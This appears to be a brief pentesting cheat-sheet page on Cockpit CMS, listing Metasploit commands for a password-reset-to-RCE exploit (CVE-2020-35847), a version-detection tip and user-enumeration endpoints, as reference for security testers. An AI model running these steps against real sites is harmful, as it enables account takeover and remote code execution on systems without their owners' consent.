Exploit Notes

Cockpit CMS Pentesting

Last modified: 2023-02-05


Cockpit CMS is a content management system for publishing contents.

Enumeration & Remote Code Execution (RCE) & Reverse Shell

# Reset password  (CVE-2020-35847)
msf> use exploit/multi/cockpit_cms_rce
msf> set USER admin
msf> run

Version Detection

Cockpit CMS version is displayed as the value of “data-version” attribute in html tag.

<html lang="en" data-base="/" data-route="/" data-version="0.11.1" data-locale="en">

Common Directories

/auth/check # We can enumerate users using the path
/auth/requestreset # We can enumerate users using the path

Tools by HDKS


Automatic web fuzzer.


Auto reconnaissance CLI.

Hash Cracker

Hash identifier.